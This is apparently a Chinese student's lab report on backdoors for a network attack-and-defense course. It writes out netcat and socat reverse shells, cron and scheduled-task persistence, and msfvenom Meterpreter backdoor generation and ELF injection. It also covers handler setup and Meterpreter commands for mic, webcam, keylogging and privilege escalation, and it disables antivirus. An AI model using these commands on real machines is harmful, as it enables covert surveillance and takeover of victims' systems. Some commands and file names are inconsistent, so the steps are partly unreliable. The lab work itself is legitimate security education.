20222326 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
实验具体内容
-
使用netcat获取主机操作Shell,cron启动某项任务。
-
使用socat获取主机操作Shell, 任务计划启动。
-
使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 例举你知道的后门如何启动起来(win及linux)的方式?
(1)win中:
(2)linux中:
- Meterpreter有哪些给你映像深刻的功能?
- 如何发现自己有系统有没有被安装后门?
相关概念
-
基础概念
-
后门(Backdoor):一种绕过正常认证机制的方法,允许攻击者未经授权访问系统。后门可以是软件、硬件或网络层面的。
-
免杀(Anti-Antivirus):指通过各种技术手段使恶意软件逃避安全软件(如防病毒软件、防火墙等)的检测。
-
cron:cron 是 Unix 和类 Unix 操作系统(如 Linux)中的一个定时任务调度器。它允许用户设置周期性的任务,这些任务可以在指定的时间自动执行。
-
-
工具与框架
-
Meterpreter:是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell);一个开源的安全漏洞检测框架,提供了丰富的漏洞利用模块和Payload生成工具。
-
Netcat“瑞士军刀”/Socat:网络工具,可以用于建立网络连接和数据传输。
-
2.实验过程
一、使用netcat获取主机操作Shell,cron启动某项任务
(1)在windows系统中,win+R进入cmd,在命令行中输入ipconfig,查看主机的IP地址(192.168.1.100
)。
(2)win+R进入cmd,在命令行中输入ncat.exe-lp 2326
,使用ncat监听2326端口:
(3)在Kali中打开命令行,输入nc 192.168.1.100 2326 -e /bin/sh
反弹连接主机的2326端口。
(4)在windows命令行中可以看到,成功获得了一个kali的shell。
(5)在kali中输入crontab -e命令编辑定时任务,选编辑器时输入3,选择vim编辑器。在该文件中加入31 ****/bin/netcat 192.168.212.185 8888 -e /bin/sh
这表示在每个小时的第31分钟,连接192.168.212.185的主机。【由于是在不同的网络环境下做的实验,windows主机的地址有所变化】。
(6)输入 crontab -l
查看时程表
(7)在/var/spool/cron/crontabs
目录中找到root文件,如果在该文件夹中看不到文件,可以右键使用 open as root
来查看,找到root文件。
(8)在windows命令行中输入echo "* * * * * echo "20222326WangRong" > /home/r20222326/20222326.txt" > /var/spool/cron/crontabs/root
这个指令的意思是,在root文件中写入* * * * * echo "20222326WangRong" > /home/r20222326/20222326.txt"
这个内容。再输入crontab -l
查看时程表,是否有这条内容。
说名写入成功。这局指令的内容是每分钟执行一次,用20222326WangRong
内容去覆盖r20222326.txt文件本来的内容。
(9)在该指令执行之前的r20222326.txt文件内容。
(10)在该指令执行之后的r20222326.txt文件内容。
r20222326.txt文件内容已经被修改,可见cron执行是成功的。
二、使用Socat获取主机操作Shell, 任务计划启动
(1)在windows主机中找到socat的目录,用cmd打开。在命令行中输入socat.exe tcp-listen:2326 exec:cmd.exe,pty,stderr
(2)在kali命令行中输入socat - tcp:192.168.1.105:2326
,可以得到kali中已经获得了一个windows主机的shell。【其中192.168.1.105是windows主机的IP地址,由于网络环境的变化IP地址有所变化】
(3)在kali命令行中输入schtasks /create /sc minute /mo 1 /tn "20222326rong" /tr D:\app product\vscode\20222326exp2.exe
创建一个名字为20222326rong
的计划任务,每分钟执行一次该任务,执行该任务的时候会运行位于D:\app product\vscode\20222326exp2.exe
的可执行文件20222326exp2.exe。【该文件是实现写好的一个C语言程序】
(4)在windows中打开计算机管理,查看任务计划程序中关于20222326exp2.exe运行的记录。
Socat成功获取主机操作Shell, 任务计划启动成功。
三、使用MSF Meterpreter生成可执行文件(后门),利用Ncat或Socat传送到主机并运行获取主机Shell
(1)在kali命令行中输入msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.85.132 LPORT=2326 -f exe>20222326_backdoor.exe
生成后门文件20222326_backdoor.exe,其中192.168.85.132为kali的IP地址,LPORT=2326
是端口号。
(2)在windows命令行中输入ncat.exe-l2326>20222326 backdoor.exe
进入接收模式。
(3)在kali命令行中输入nc 192.168.1.1022326<20222326 backdoor.exe
传输后门文件。
(4)在windows默认的路径文件夹中查看是否存在后门文件20222326_backdoor.exe
【注意,文件的大小如果是0KB,就说明文件并没有传输完成】
四、使用MSF Meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(1)在kali中新建终端,在新的命令行中输入msfconsole进入msf控制台。
(2)使用 Metasploit 框架来设置一个监听器(handler)。
- 输入
use exploit/multi/handler
使用监听模块,设置payload。 - 输入
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload。 - 输入
set LHOST 192.168.85.132
指定linuxIP。 - 输入
set LPORT 2326
指定端口号。
(3)输入show options
查看配置,最后输入exploit
运行模块,并在主机运行后门文件20222326_backdoor.exe。
(4)在msf控制台逐一实现实验目标。
- 在msf控制台中输入record_mic,获取一段音频。
- 在msf控制台中输入webcam_snap获取摄像头,进行拍照。
- 在msf控制台中输入keyscan_start指令,获取敲击键盘的记录,用keyscan_dump读取记录。
- 在msf控制台中输入getuid查看用户。
- 在msf控制台中输入getsystem提权。
(5)在kali中/home/r20222326/目录中查看以上命令获取的内容。
五、使用MSF生成Shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(1)在kali命令行中输入 msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.85.132 LPORT=2326 -x /home/r20222326/pun2 -f elf > 20222326pwn
- 生成一个带有 Meterpreter 反向 TCP Payload 的 ELF 可执行文件。
- 该 Payload 会在目标机器上启动一个反向连接,连接回 IP 地址192.168.85.132 和端口 2326。
- 生成的 Payload 被注入到现有的 ELF 文件 /home/r20222326/pwn2 中,生成的新文件名为 20222326pwn。
(2)在kali命令行中输入chmod a+x 20222326pwn
(3)使用 Metasploit 框架来设置一个监听器(handler)。
- 输入
use exploit/multi/handler
使用监听模块,设置payload。 - 输入
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload。 - 输入
set LHOST 192.168.85.132
指定linuxIP。 - 输入
set LPORT 2326
指定端口号。 - 输入
exploit
运行监听模块。
(4)打开另一个shell,输入./20222313_1pwn运行生成的20222313_1pwn文件(需要使用root权限
(5)回到第一个shell,输入ls确认连接,成功实现远程控制shell
3.问题及解决方案
- 问题1:在实现‘一’的过程中,通过设计cron从而实现用特定的内容去覆盖r20222326.txt文件的内容,我发现cron不能执行【检查过 r20222326.txt文件的权限是否是root可以修改的,通过chomd 777实现的最高权限,也检查了文件路径问题,也检查了kali时间与本机时间的问题】
- 问题1解决方案:通过重新打开窗口输入crond,启动其服务,cron就可以执行了。
- 问题2:在实现‘三’,传输后门文件20222326_backdoor.exe的时候,由于没有关闭电脑的实时关闭,而导致windows主机上不能运行后门文件。
- 问题2解决方案:在windows安全中心>病毒和威胁防护设置中关闭实时保护
- 问题3:kali的网络问题,在做实验的过程中,出现了kali没有网的情况,导致kali主机不能和windows进行通讯。
- 问题3解决方案:将虚拟机的网络适配器修改为NAT模式即可解决。
4.学习感悟、思考等
在本次实验的过程中,我遇到的问题还是比较多的,有好几个问题甚至是困扰了我好久都不得已解决,但是后来通过一点小小的改变就又可以实现。确实是一个细心的问题。但是总的来说,本次实验中,我通过具体的实验步骤,掌握了Netcat、Socat、Metasploit等工具的使用方法,并学会了如何利用这些工具获取目标主机的操作Shell、设置定时任务等。同时,也意识到了即使是最微小的安全疏漏也可能导致严重的后果。因此,应该更加注重代码质量和系统配置的安全性,定期进行安全审计,及时修补已知漏洞。
参考资料
- 《Java程序设计与数据结构教程(第二版)》
- [《Java程序设计与数据结构教程(第二版)》学习指导](http://www.cnblogs.com/rocedu/p/5182332.h
posted on 2024-10-21 23:58 20222326王蓉 阅读(3) 评论(0) 编辑 收藏 举报